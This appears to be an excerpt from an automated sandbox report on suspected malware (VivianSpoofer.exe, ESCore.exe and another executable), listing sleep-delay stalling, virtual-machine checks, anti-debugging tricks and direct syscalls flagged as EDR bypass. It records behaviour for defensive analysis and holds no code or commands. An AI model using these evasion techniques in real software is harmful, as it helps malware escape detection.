Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594140s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 4340	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599274s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599166s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -599040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596735s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -596094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -594094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -593672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -593235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -593110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592860s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -592125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591261s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -591141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -590407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -590281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -590172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -590016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -589047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588657s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe TID: 6828	Thread sleep time: -588188s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598398	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598294	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598181	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595966	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595739	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595455	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595338	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595232	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594904	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594250	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594140	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599274	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599166	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599040	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594094	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593672	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593110	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592984	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592860	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592672	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592563	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592438	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592328	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592125	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591969	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591828	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591688	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591516	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591391	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591261	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591141	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590407	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590281	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590172	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590016	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589906	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589750	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589641	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589500	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589375	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589266	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589156	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589047	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588938	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588813	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588657	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588516	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588406	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588297	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588188	Jump to behavior

Source: VivianSpoofer.exe, 00000011.00000002.2544805206.0000027940A04000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105168710.0000000000541000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105168710.0000000000580000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: aYu936prD4.exe, 00000000.00000002.1770069387.0000021B30ACF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\ESCore.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\ESCore.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger
Source: C:\Windows\System32\ESCore.exe	Thread information set: HideFromDebugger

Tries to detect debuggers (CloseHandle check)

Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE
Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE
Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE
Source: C:\Windows\System32\ESCore.exe	Handle closed: DEADC0DE

Source: C:\Windows\System32\ESCore.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugPort
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle
Source: C:\Windows\System32\ESCore.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\Desktop\aYu936prD4.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x1409EF79F
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A0E1F6
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x1405900C7
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AE458A	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtClose: Indirect: 0x140AF4EF6
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140A90EA2
